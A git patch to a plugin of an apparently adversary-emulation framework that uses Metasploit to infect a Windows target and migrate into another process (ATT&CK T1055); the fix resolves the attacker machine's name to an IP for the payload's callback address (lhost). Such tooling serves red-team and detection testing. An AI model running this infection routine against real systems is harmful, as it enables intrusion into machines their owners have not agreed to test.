From 2100d1ff5890fa6a883e96c2f13b88a50f86035c Mon Sep 17 00:00:00 2001
From: Thorsten Sick <thorsten.sick@avast.com>
Date: Fri, 17 Sep 2021 11:37:15 +0200
Subject: [PATCH] Fixing Metasploit migrate

---
 .../metasploit_migrate_t1055/metasploit_migrate.py           | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/plugins/default/metasploit_attacks/metasploit_migrate_t1055/metasploit_migrate.py b/plugins/default/metasploit_attacks/metasploit_migrate_t1055/metasploit_migrate.py
index d01ff65..7b29679 100644
--- a/plugins/default/metasploit_attacks/metasploit_migrate_t1055/metasploit_migrate.py
+++ b/plugins/default/metasploit_attacks/metasploit_migrate_t1055/metasploit_migrate.py
@@ -4,6 +4,7 @@
 
 from plugins.base.attack import AttackPlugin
 from app.metasploit import MetasploitInstant
+import socket
 
 
 class MetasploitMigratePlugin(AttackPlugin):
@@ -36,11 +37,13 @@ class MetasploitMigratePlugin(AttackPlugin):
                                        attacker=self.attacker_machine_plugin,
                                        username=self.metasploit_user)
 
+        ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
+
         metasploit.smart_infect(target,
                                 payload=payload_type,
                                 architecture="x64",
                                 platform="windows",
-                                lhost=self.attacker_machine_plugin.get_ip(),
+                                lhost=ip,
                                 format="exe",
                                 outfile=payload_name
                                 )